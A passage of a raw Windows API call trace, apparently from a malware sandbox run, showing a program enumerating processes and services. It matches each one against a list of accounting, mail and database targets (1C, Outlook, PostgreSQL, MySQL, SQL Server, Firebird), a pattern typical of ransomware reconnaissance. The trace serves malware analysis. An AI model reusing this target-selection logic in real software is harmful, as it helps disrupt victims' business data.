szExeFile="csrss.exe")) returned 1 [0251.721] lstrlenW (lpString="csrss.exe") returned 9 [0251.721] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0251.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0251.722] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0251.722] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0251.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0251.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0251.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0251.722] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.723] lstrlenW (lpString="wininit.exe") returned 11 [0251.723] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0251.723] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0251.723] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0251.723] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0251.723] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0251.723] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0251.723] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0251.723] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.724] lstrlenW (lpString="csrss.exe") returned 9 [0251.724] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0251.724] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0251.724] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0251.724] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0251.725] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0251.725] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0251.725] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0251.725] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.726] lstrlenW (lpString="winlogon.exe") returned 12 [0251.726] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0251.726] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0251.726] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0251.726] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0251.726] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.727] lstrlenW (lpString="services.exe") returned 12 [0251.727] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.728] lstrlenW (lpString="lsass.exe") returned 9 [0251.728] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0251.729] lstrlenW (lpString="lsm.exe") returned 7 [0251.730] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.730] lstrlenW (lpString="svchost.exe") returned 11 [0251.730] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.913] lstrlenW (lpString="svchost.exe") returned 11 [0251.913] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.914] lstrlenW (lpString="svchost.exe") returned 11 [0251.914] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.916] lstrlenW (lpString="svchost.exe") returned 11 [0251.916] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.917] lstrlenW (lpString="svchost.exe") returned 11 [0251.917] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.918] lstrlenW (lpString="audiodg.exe") returned 11 [0251.919] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.920] lstrlenW (lpString="svchost.exe") returned 11 [0251.920] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.921] lstrlenW (lpString="explorer.exe") returned 12 [0251.921] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.921] lstrlenW (lpString="dwm.exe") returned 7 [0251.922] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.922] lstrlenW (lpString="svchost.exe") returned 11 [0251.923] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0251.924] lstrlenW (lpString="winhost.exe") returned 11 [0251.924] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.925] lstrlenW (lpString="spoolsv.exe") returned 11 [0251.925] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.926] lstrlenW (lpString="svchost.exe") returned 11 [0251.926] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0251.927] lstrlenW (lpString="taskhost.exe") returned 12 [0251.927] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0251.927] lstrlenW (lpString="reader_sl.exe") returned 13 [0251.928] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0251.929] CloseHandle (hObject=0x354) returned 1 [0251.929] Sleep (dwMilliseconds=0x1f4) [0253.075] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x602168 [0253.161] EnumServicesStatusExW (in: hSCManager=0x602168, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0253.359] GetLastError () returned 0xea [0253.359] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0253.359] EnumServicesStatusExW (in: hSCManager=0x602168, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0253.361] CloseServiceHandle (hSCObject=0x602168) returned 1 [0253.362] lstrlenW (lpString="Appinfo") returned 7 [0253.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0253.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0253.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0253.362] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0253.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0253.362] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0253.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0253.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0253.362] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0253.363] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0253.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0253.363] lstrlenW (lpString="AudioSrv") returned 8 [0253.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0253.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0253.363] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0253.363] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0253.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0253.363] lstrlenW (lpString="BFE") returned 3 [0253.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0253.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0253.363] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0253.363] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0253.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0253.364] lstrlenW (lpString="CryptSvc") returned 8 [0253.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0253.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0253.364] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0253.364] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0253.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0253.364] lstrlenW (lpString="CscService") returned 10 [0253.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0253.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0253.364] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0253.364] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0253.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0253.365] lstrlenW (lpString="DcomLaunch") returned 10 [0253.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0253.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0253.365] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0253.365] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0253.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0253.365] lstrlenW (lpString="Dhcp") returned 4 [0253.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0253.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0253.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0253.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0253.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0253.365] lstrlenW (lpString="Dnscache") returned 8 [0253.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0253.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0253.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0253.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0253.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0253.366] lstrlenW (lpString="DPS") returned 3 [0253.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0253.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0253.366] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0253.366] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0253.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0253.366] lstrlenW (lpString="eventlog") returned 8 [0253.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0253.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0253.367] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0253.367] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0253.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0253.367] lstrlenW (lpString="EventSystem") returned 11 [0253.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0253.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0253.367] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0253.367] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0253.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0253.367] lstrlenW (lpString="gpsvc") returned 5 [0253.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0253.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0253.368] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0253.368] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0253.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0253.368] lstrlenW (lpString="iphlpsvc") returned 8 [0253.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0253.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0253.368] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0253.368] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0253.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0253.368] lstrlenW (lpString="LanmanServer") returned 12 [0253.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0253.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0253.369] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0253.369] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0253.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0253.369] lstrlenW (lpString="LanmanWorkstation") returned 17 [0253.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0253.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0253.369] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0253.369] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0253.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0253.369] lstrlenW (lpString="lmhosts") returned 7 [0253.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0253.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0253.370] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0253.370] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0253.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0253.370] lstrlenW (lpString="MMCSS") returned 5 [0253.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0253.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0253.370] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0253.370] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0253.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0253.370] lstrlenW (lpString="MpsSvc") returned 6 [0253.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0253.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0253.370] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0253.370] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0253.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0253.371] lstrlenW (lpString="Netman") returned 6 [0253.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0253.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0253.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0253.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0253.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0253.372] lstrlenW (lpString="netprofm") returned 8 [0253.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0253.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0253.372] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0253.372] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0253.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0253.372] lstrlenW (lpString="NlaSvc") returned 6 [0253.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0253.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0253.373] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0253.373] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0253.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0253.373] lstrlenW (lpString="nsi") returned 3 [0253.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0253.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0253.373] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0253.373] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0253.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0253.373] lstrlenW (lpString="PcaSvc") returned 6 [0253.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0253.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0253.374] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0253.374] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0253.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0253.374] lstrlenW (lpString="PlugPlay") returned 8 [0253.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0253.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0253.374] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0253.374] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0253.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0253.374] lstrlenW (lpString="Power") returned 5 [0253.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0253.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0253.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0253.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0253.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0253.375] lstrlenW (lpString="ProfSvc") returned 7 [0253.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0253.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0253.375] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0253.375] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0253.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0253.375] lstrlenW (lpString="RpcEptMapper") returned 12 [0253.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0253.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0253.375] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0253.376] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0253.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0253.376] lstrlenW (lpString="RpcSs") returned 5 [0253.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0253.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0253.376] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0253.376] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0253.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0253.376] lstrlenW (lpString="SamSs") returned 5 [0253.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0253.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0253.376] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0253.376] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0253.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0253.377] lstrlenW (lpString="Schedule") returned 8 [0253.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0253.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0253.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0253.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0253.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0253.377] lstrlenW (lpString="SENS") returned 4 [0253.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0253.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0253.377] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0253.377] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0253.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0253.377] lstrlenW (lpString="ShellHWDetection") returned 16 [0253.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0253.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0253.378] lstrcmpiW (lpString1="sqlwriter", 